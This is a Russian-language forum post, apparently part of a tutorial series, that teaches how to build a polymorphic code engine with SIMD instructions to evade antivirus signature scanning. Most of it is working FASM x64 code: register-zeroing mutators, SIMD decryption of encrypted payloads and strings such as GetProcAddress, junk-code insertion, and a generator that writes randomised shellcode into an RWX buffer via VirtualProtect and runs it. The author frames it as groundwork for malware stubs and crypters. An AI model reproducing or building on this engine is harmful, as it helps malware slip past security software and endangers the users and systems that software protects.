EXCLUSIVE
EXCLUSIVE
- Статус
- Оффлайн
- Регистрация
- 21 Июн 2025
- Сообщения
- 148
- Реакции
- 49
Продолжение вот этой статьи, в этой больше работы с SIMD на практике.Технологии полиморфизма можно встретить не только в вирусах, но и, например, в защитных механизмах. это передовой путь мысли программиста, притягивающий новичков как магнитом.
Хотел уложить полный движок со стабом и шифровщиком, но не успел т.к нужно доделывать проект, поэтому решил резко перенести это на 3 часть.
Злоумышленник создает несколько алгоритмов с одним и тем же результатом в каждом алгоритме, к примеру, зануление регистра EAX. Вместо классического производительного xor eax, eax можно впихнуть sub eax, eax, and eax, 0 или вообще извратиться через push 0 / pop eax. Результат один и тот же - в регистре ноль, но байт-код в памяти выглядит абсолютно иначе. Статический сканер антивируса ищет знакомую последовательность байт, а её там тупо нет, хотя логика выполнения осталась прежней.
На одном другом форуме, мой знакомый уже выкладывал подобную статью, я повзаимстовал у него код с обнулением регистра, давайте проанализируем его:
ASM:
MutateXorEax:
cmp rcx, 1
je .case_xor
cmp rcx, 2
je .case_sub
cmp rcx, 3
je .case_mov
cmp rcx, 4
je .case_and
cmp rcx, 5
je .case_push
cmp rcx, 6
je .case_imul
ret
.case_xor:
mov word [rdi], 0xC031
add rdi, 2
ret
.case_sub:
mov word [rdi], 0xC029
add rdi, 2
ret
.case_mov:
mov byte [rdi], 0xB8
mov dword [rdi+1], 0
add rdi, 5
ret
.case_and:
mov dword [rdi], 0x00E083
add rdi, 3
ret
.case_push:
mov dword [rdi], 0x58006A
add rdi, 3
ret
.case_imul:
mov dword [rdi], 0x00C06B
add rdi, 3
ret
randomYzer: ;// рандомайзер для выбора алгоритма XORSHIFT
rdtsc
shl rdx, 32
or rax, rdx
mov r8, rax
shr r8, 12
xor rax, r8
mov r8, rax
shl r8, 25
xor rax, r8
mov r8, rax
shr r8, 27
xor rax, r8
xor rdx, rdx
mov r9, 6
div r9
inc rdx
mov rax, rdx
ret
Например, если рандомайзер выбрал xor eax, eax, в буфер записывается 0x31 0xC0, а если mov eax, 0, то целых 5 байт, начиная с 0xB8.
Самый важный момент в данном коде - это смещение указателя RDI после каждой записи. Если бы мы записали 5 байт для mov, но при этом не подвинули бы адрес, то следующая инструкция просто записалась бы поверх предыдущей, и на выходе получилась бы нерабочая каша. Поэтому после каждой вставки важно делать add rdi, (размер байтов). Это позволяет выстраивать цепочку команд одну за другой, формируя цельный и каждый раз уникальный поток инструкций.
Сам выбор кейса ложится на плечи randomYzer. Он генерирует псевдорандомное число через rdtsc и математические сдвиги(алгоритм xorshift вроде), после чего мы через div получаем остаток от деления в диапазоне от 1 до 6. Этот индекс и летит в RCX. В итоге, сколько бы раз мы ни вызывали этот генератор, последовательность байт в буфере всегда будет отличаться от предыдущей, хотя по факту программа просто продолжает обнулять регистры.
1. Новая эра полиморфизма через SIMD.
В мире существует тысячи готовых полиморфных движков, вобравших в себя множество блестящих идей и чтобы переплюнуть их придется очень сильно постараться.
Использование SIMD (SSE/AVX) переносит логику расшифровки в XMM/YMM регистры, которые могут игнорироватся многими эвристическими движками из-за высокой зашумленности легитимным мультимедиа-трафиком.
Использование инструкций PXOR, PADD, PSUB позволяет обрабатывать блоки данных по 128/256 бит за одну итерацию. Это не только ускоряет расшифровку основного тела малвари, но и создает аномальный для сигнатурного анализатора профиль кода.
Вместо цикличного xor [ebx], al реверсер видит векторные операции.
В главе 0 был пример с занулением регистра, вместо банального xor eax, eax - сделаем:
ASM:
pxor xmm0, xmm0 ;// самые быстрое обнуление xmm регистра
movq eax, xmm0 ;// eax = 0
ASM:
movdqu xmm1, [data] ;// 16 байт encrypt code
movdqu xmm2, [key] ;// векторный ключ в xmm1
psubb xmm1, xmm2 ;// побайтовое вычитание ключа
movdqu [data], xmm1
ASM:
pcmpeqb xmm0, xmm1 ;// сравнение блоков. результат - маска в xmm0
pmovmskb eax, xmm0 ;// перенос маски в gpr для проверки валидности ключа
более умные закидывают всю строку целиком через XMM. Это убивает возможность найти строки типа GetProcAddress простым поиском в памяти процесса.
ASM:
movdqu xmm0, [rel str] ;// 16 байт зашифрованной строки
pxor xmm0, xmm1 ;// декрипт в регистре
movdqu [rsp-16], xmm0 ;// строка на стеке, готова к вызову
2. Практическая реализация базового полиморфного движка
ASM:
macro .code {
section '.text' code readable executable
}
macro .data {
section '.data' data readable writeable
}
macro .idata {
section '.idata' import data readable writeable
}
ASM:
format PE64 console
entry start
include 'C:\FLAT\INCLUDE\win64a.inc'
include 'C:\FLAT\section.inc'
.data
information db "~~~~ Polymorf Generation for Yougame SIMD v0.01 ~~~~~", 10, 0
lin db "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~", 10, 0
author db "Author: KVANTOR815", 10, 0
description db "This is Polimorf Engine", 10, 0
msg_gen db "generating SIMD polymorf shellcode...", 10, 0
msg_buf db "shell bytes: ", 0
fmt_hex db "%02X ", 0
msg_exec db 10, "executing generated stub. RAX check...", 10, 0
msg_done db "shell executed successfully.", 10, 0
align 16
shell rb 512
seed dq ?
old_prot dd ?
.code
start:
sub rsp, 28h
lea rcx, [information]
call [printf]
lea rcx, [author]
call [printf]
lea rcx, [description]
call [printf]
lea rcx, [lin]
call [printf]
lea rcx, [msg_gen]
call [printf]
rdtsc
mov [seed], rax
lea rdi, [shell]
mov rbx, 4
.gen_loop:
call randomYzer
mov rcx, rax
call MutateSimdXor
call randomYzer
mov rcx, rax
call InsertJunk
dec rbx
jnz .gen_loop
mov byte [rdi], 0xC3
lea rcx, [msg_buf]
call [printf]
lea rsi, [shell]
.print_loop:
cmp rsi, rdi
jae .print_end
lea rcx, [fmt_hex]
movzx rdx, byte [rsi]
call [printf]
inc rsi
jmp .print_loop
.print_end:
lea rcx, [shell]
mov rdx, 512
mov r8, 0x40
lea r9, [old_prot]
call [VirtualProtect]
lea rcx, [msg_exec]
call [printf]
call shell
lea rcx, [msg_done]
call [printf]
call [_getch]
xor ecx, ecx
call [ExitProcess]
MutateSimdXor:
cmp rcx, 1
je .case_pxor
cmp rcx, 2
je .case_xorps
mov dword [rdi], 0xC0760F66
add rdi, 4
mov dword [rdi], 0xC0FA0F66
add rdi, 4
jmp .finalize
.case_pxor:
mov dword [rdi], 0xC0EF0F66
add rdi, 4
jmp .finalize
.case_xorps:
mov dword [rdi], 0xC0570F
add rdi, 3
.finalize:
mov word [rdi], 0x4866
mov dword [rdi+2], 0xC07E0F
add rdi, 5
ret
InsertJunk:
cmp rcx, 1
je .junk_nop
cmp rcx, 2
je .junk_mov
mov dword [rdi], 0x00180F
add rdi, 3
ret
.junk_nop:
mov byte [rdi], 0x90
inc rdi
ret
.junk_mov:
mov dword [rdi], 0xC9280F
add rdi, 3
ret
randomYzer:
mov rax, [seed]
mov rdx, 0x41C64E6D
mul rdx
add rax, 0x3039
mov [seed], rax
xor rdx, rdx
mov r9, 3
div r9
inc rdx
mov rax, rdx
ret
.idata
library kernel32, 'kernel32.dll', \
msvcrt, 'msvcrt.dll'
import kernel32,\
VirtualProtect, 'VirtualProtect', \
ExitProcess, 'ExitProcess'
import msvcrt, \
printf, 'printf', \
_getch, '_getch'
ASM:
lea rcx, [shell]
mov rdx, 512
mov r8, 0x40
lea r9, [old_prot]
call [VirtualProtect]
ASM:
;// примерстрогого соблюдения размера:
mov dword [rdi], 0xC0EF0F66 ;// pxor xmm0, xmm0 (4 байта)
add rdi, 4 ;// сдвигаем байты в буфере ровно на 4
Для корректной работы в x64 архитектуре при выгрузке данных из SIMD в GPR используется префикс REX.W (0x48), это нужно для того, чтобы информамировать о том, что мы работает с полным 64-битныи регистров RAX, а не забиваем только младшие 32 бита в EAX. В консольке это выглядит как 0x66 0x48 0x0F 0x7E 0xC0.
ASM:
.finalize:
mov word [rdi], 0x4866 ;// REX.W
mov dword [rdi+2], 0xC07E0F ;// movq rax, xmm0
add rdi, 5
А в коде знакомого вообще использовался xorsift.
Также в коде есть junk-code функция:
Инструкции вроде movaps xmm1, xmm1 технически выполняются, но не меняют состояние флагов и нужных нам регистров, они нужны только для того, чтобы разбавить полезную нагрузку и изменить общую контрольную сумму блока. Обычный мусорный код который затрудняет анализ.
ASM:
.junk_mov:
mov dword [rdi], 0xC9280F ;// movaps xmm1, xmm1
add rdi, 3 ;// мусорная команда меняющая хеш блока
Поэтому важно вшивать проверку в начало стаба через cpuid. Если процессор поддерживает AVX, движок ггенерирует жирные 256-битные инструкции, если нет - откат к SSE. Важна производительность как никак.
ASM:
mov eax, 1
cpuid
and ecx, 0x10000000 ;// бит 28 - sucess
jz .callback_sse
3. Теория: где же в реальных малвари может использоваться полиморф с SIMD.
Честно, если говорить объективно, я еще не встречал малвари использующих полимофрные движки с SIMD, да и целом использующие полиморфные движки.
Дело в том, что малварь разработчики это мягко-говоря школьники которые пишут вирусы тяп-ляп на С и сервер на каком-то С# с кучей уязвмостями.
Подобные генераторы лучше писать на ассемблере, что довольно трудно для вирусописателей) Нейросеть тут уже не поможет, а знания должны быть.
Что тут уж говорить, за последние 10 лет не было ни одной малвари на ассемблере.
Если же встретится такая малварь, то там будет что-то вроде дескриптора использующая AVX-512 или AES-NI инструкции не для шифрования трафика, а для банального изменения своего тела что обсуждалось в статье. Для защитного ПО это выглядит как работа видеоредактора или архиватора. Ни один школьник на C# не сможет реализовать такую логику, да, возможно, через нейросеть он что-то там сделает, но..... я не думаю что из этого выйдет что-то крутое.
Последнее редактирование: